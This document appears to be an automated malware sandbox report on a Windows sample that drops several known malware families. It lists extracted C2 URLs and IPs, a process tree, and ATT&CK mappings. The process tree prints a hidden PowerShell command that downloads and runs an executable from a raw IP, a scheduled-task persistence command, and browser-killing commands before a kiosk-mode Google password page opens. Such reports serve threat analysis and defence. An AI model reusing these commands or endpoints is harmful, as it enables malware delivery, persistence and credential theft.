Overview

overview

10

Static

static

5

2025-04-07...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/04/2025, 15:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-07_d33b9d150e9678bfd2ddbd1b2fbc6c67_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    d33b9d150e9678bfd2ddbd1b2fbc6c67

  • SHA1

    85a6e6b9ec5c2fc066aebd3e054cf6ed3760d6d5

  • SHA256

    393c3610f70a0224e1bc4967248032330ac1abc852e35b20ec531aff19d469c2

  • SHA512

    ef8086043a3965e8900a773f489b2577ac42fea13d058e0f34c9dd0e76341a1f25cdffaec2462bb84ea30e528dba51ff1b42f44512ee2689fa18cc42e18abac8

  • SSDEEP

    24576:jqDEvCTbMWu7rQYlBQcBiT6rprG8a4Su:jTvC/MTQYxsWR7a4S

Score
10/10
amadeyasyncratgcleanerlummastormkittyvenomrat092155defense_evasiondiscoveryexecutionloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://2travelilx.top/GSKAiz

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://-furthert.run/azpp

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://easyfwdr.digital/azxs

https://jjrxsafer.top/shpaoz

https://upuerrogfh.live/iqwez

https://furthert.run/azpp

https://reformzv.digital/guud

https://apuerrogfh.live/iqwez

https://vquavabvc.top/iuzhd

https://advennture.top/GKsiio

https://0targett.top/dsANGt

https://uywmedici.top/noagis

https://breuhiag.live/uindga

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • VenomRAT 1 IoCs

    Detects VenomRAT.

    rat
  • Venomrat family
    venomrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 13 IoCs
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 18 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 23 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 32 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-07_d33b9d150e9678bfd2ddbd1b2fbc6c67_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-07_d33b9d150e9678bfd2ddbd1b2fbc6c67_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn Ka56omamK5q /tr "mshta C:\Users\Admin\AppData\Local\Temp\6ukiZ5DDn.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn Ka56omamK5q /tr "mshta C:\Users\Admin\AppData\Local\Temp\6ukiZ5DDn.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2308
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\6ukiZ5DDn.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KKPH7ERY7XO6JA31UNUTW6GWNHAJEVZB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1828
        • C:\Users\Admin\AppData\Local\TempKKPH7ERY7XO6JA31UNUTW6GWNHAJEVZB.EXE
          "C:\Users\Admin\AppData\Local\TempKKPH7ERY7XO6JA31UNUTW6GWNHAJEVZB.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1144
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1728
            • C:\Users\Admin\AppData\Local\Temp\10492200101\v1BRaoR.exe
              "C:\Users\Admin\AppData\Local\Temp\10492200101\v1BRaoR.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:5892
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                  PID:5356
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                    PID:1940
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                      PID:1580
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                      7⤵
                        PID:1868
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                        7⤵
                          PID:4900
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                          7⤵
                            PID:2872
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1408
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1408 -s 1392
                              8⤵
                              • Program crash
                              PID:1392
                        • C:\Users\Admin\AppData\Local\Temp\10492700101\Nehh6wZ.exe
                          "C:\Users\Admin\AppData\Local\Temp\10492700101\Nehh6wZ.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious use of WriteProcessMemory
                          PID:4336
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5684
                        • C:\Users\Admin\AppData\Local\Temp\10493560101\31W3sid.exe
                          "C:\Users\Admin\AppData\Local\Temp\10493560101\31W3sid.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious use of WriteProcessMemory
                          PID:3872
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • Checks SCSI registry key(s)
                            PID:2944
                        • C:\Users\Admin\AppData\Local\Temp\10494280101\NlmvJyQ.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494280101\NlmvJyQ.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:4160
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2896
                        • C:\Users\Admin\AppData\Local\Temp\10494930101\eb861fdb64.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494930101\eb861fdb64.exe"
                          6⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4488
                          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                            "C:\Users\Admin\AppData\Local\Temp\10494930101\eb861fdb64.exe"
                            7⤵
                            • Downloads MZ/PE file
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:2280
                        • C:\Users\Admin\AppData\Local\Temp\10494940101\a6388500fc.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494940101\a6388500fc.exe"
                          6⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2636
                          • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                            "C:\Users\Admin\AppData\Local\Temp\10494940101\a6388500fc.exe"
                            7⤵
                            • Downloads MZ/PE file
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3632
                        • C:\Users\Admin\AppData\Local\Temp\10494951101\3df029ef04.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494951101\3df029ef04.exe"
                          6⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:5280
                          • C:\Users\Admin\AppData\Local\Temp\is-9DNIG.tmp\3df029ef04.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-9DNIG.tmp\3df029ef04.tmp" /SL5="$B017E,28467627,844800,C:\Users\Admin\AppData\Local\Temp\10494951101\3df029ef04.exe"
                            7⤵
                            • Checks computer location settings
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of FindShellTrayWindow
                            PID:2452
                            • C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe
                              "C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe"
                              8⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:3384
                              • C:\Users\Admin\AppData\Local\Temp\is-A0MC0.tmp\KMSpico.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-A0MC0.tmp\KMSpico.tmp" /SL5="$1101DC,2952592,69120,C:\Users\Admin\AppData\Roaming\MyApp\data\KMSpico.exe"
                                9⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:2944
                            • C:\Users\Admin\AppData\Roaming\MyApp\core.exe
                              "C:\Users\Admin\AppData\Roaming\MyApp\core.exe"
                              8⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4892
                            • C:\Users\Admin\AppData\Roaming\MyApp\info.exe
                              "C:\Users\Admin\AppData\Roaming\MyApp\info.exe"
                              8⤵
                              • Executes dropped EXE
                              PID:4400
                        • C:\Users\Admin\AppData\Local\Temp\10494960101\1b650c32bf.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494960101\1b650c32bf.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:1920
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                              PID:2672
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                              7⤵
                                PID:4916
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                7⤵
                                  PID:2932
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4992
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 1312
                                    8⤵
                                    • Program crash
                                    PID:3476
                              • C:\Users\Admin\AppData\Local\Temp\10494970101\bf5d673470.exe
                                "C:\Users\Admin\AppData\Local\Temp\10494970101\bf5d673470.exe"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:5072
                              • C:\Users\Admin\AppData\Local\Temp\10494980101\7baea9db48.exe
                                "C:\Users\Admin\AppData\Local\Temp\10494980101\7baea9db48.exe"
                                6⤵
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                PID:5552
                              • C:\Users\Admin\AppData\Local\Temp\10494990101\125bc79e7a.exe
                                "C:\Users\Admin\AppData\Local\Temp\10494990101\125bc79e7a.exe"
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:4432
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /F /IM firefox.exe /T
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:544
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /F /IM chrome.exe /T
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1268
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /F /IM msedge.exe /T
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3176
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /F /IM opera.exe /T
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1416
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /F /IM brave.exe /T
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:324
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                  7⤵
                                    PID:1620
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                      8⤵
                                      • Checks processor information in registry
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3820
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {3466d9ca-c84a-450a-ba02-4a9298cafc10} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                        9⤵
                                          PID:1276
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2488 -prefsLen 27135 -prefMapHandle 2492 -prefMapSize 270279 -ipcHandle 2508 -initialChannelId {d910be2d-39a7-4489-9823-79177c30b60f} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                          9⤵
                                            PID:1536
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3856 -prefsLen 25164 -prefMapHandle 3860 -prefMapSize 270279 -jsInitHandle 3864 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3872 -initialChannelId {5d673c60-7d62-4420-84d4-7d4a2ca29d6a} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                            9⤵
                                            • Checks processor information in registry
                                            PID:4068
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4048 -prefsLen 27276 -prefMapHandle 4052 -prefMapSize 270279 -ipcHandle 4072 -initialChannelId {3baf0b5b-bbff-4cc5-a013-f5a937c6a7c0} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                            9⤵
                                              PID:5248
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4652 -prefsLen 34775 -prefMapHandle 3244 -prefMapSize 270279 -jsInitHandle 3248 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4660 -initialChannelId {cbcdf841-27be-478f-828c-80f0d3b0be92} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                              9⤵
                                              • Checks processor information in registry
                                              PID:2016
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2928 -prefsLen 35012 -prefMapHandle 2932 -prefMapSize 270279 -ipcHandle 5112 -initialChannelId {db71b6e3-1127-434f-afeb-c1bc08f1d801} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                              9⤵
                                              • Checks processor information in registry
                                              PID:6080
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5448 -prefsLen 32952 -prefMapHandle 5452 -prefMapSize 270279 -jsInitHandle 5456 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4972 -initialChannelId {f3dd206f-acc2-4c8f-ab3a-e535757b3d6c} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                              9⤵
                                              • Checks processor information in registry
                                              PID:3964
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5592 -prefsLen 32952 -prefMapHandle 5596 -prefMapSize 270279 -jsInitHandle 5600 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5608 -initialChannelId {8e197ad1-a607-43ad-8726-0040f6d9f441} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                              9⤵
                                              • Checks processor information in registry
                                              PID:5752
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5796 -prefsLen 32952 -prefMapHandle 5800 -prefMapSize 270279 -jsInitHandle 5804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5812 -initialChannelId {59698ce1-35a1-4551-b3cb-b2e9ef4e09d3} -parentPid 3820 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3820" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                              9⤵
                                              • Checks processor information in registry
                                              PID:3856
                                      • C:\Windows\SysWOW64\msiexec.exe
                                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\10495000271\5809bfa64e.msi" /quiet
                                        6⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2192
                                      • C:\Users\Admin\AppData\Local\Temp\10495010101\8ef90e3801.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10495010101\8ef90e3801.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:5072
                                      • C:\Users\Admin\AppData\Local\Temp\10495020101\4b7069bb00.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10495020101\4b7069bb00.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:1812
                                      • C:\Users\Admin\AppData\Local\Temp\10495030101\31W3sid.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10495030101\31W3sid.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:4020
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                          7⤵
                                            PID:5732
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                            7⤵
                                            • Checks SCSI registry key(s)
                                            PID:1120
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1408 -ip 1408
                                1⤵
                                  PID:5528
                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  1⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5280
                                • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                  1⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1648
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4992 -ip 4992
                                  1⤵
                                    PID:5256
                                  • C:\Windows\system32\msiexec.exe
                                    C:\Windows\system32\msiexec.exe /V
                                    1⤵
                                    • Enumerates connected drives
                                    • Drops file in Windows directory
                                    • Modifies data under HKEY_USERS
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1828

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Command and Scripting Interpreter

                                  1
                                  T1059

                                  PowerShell

                                  1
                                  T1059.001

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Persistence

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1547.001

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Privilege Escalation

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1547.001

                                  Scheduled Task/Job

                                  1
                                  T1053

                                  Scheduled Task

                                  1
                                  T1053.005

                                  Defense Evasion

                                  Modify Registry

                                  1
                                  T1112

                                  Virtualization/Sandbox Evasion

                                  2
                                  T1497

                                  Credential Access

                                  Unsecured Credentials

                                  1
                                  T1552

                                  Credentials In Files

                                  1
                                  T1552.001

                                  Discovery

                                  Peripheral Device Discovery

                                  2
                                  T1120

                                  Query Registry

                                  9
                                  T1012

                                  System Information Discovery

                                  6
                                  T1082

                                  System Location Discovery

                                  1
                                  T1614

                                  System Language Discovery

                                  1
                                  T1614.001

                                  Virtualization/Sandbox Evasion

                                  2
                                  T1497

                                  Lateral Movement

                                  Collection

                                  Data from Local System

                                  1
                                  T1005

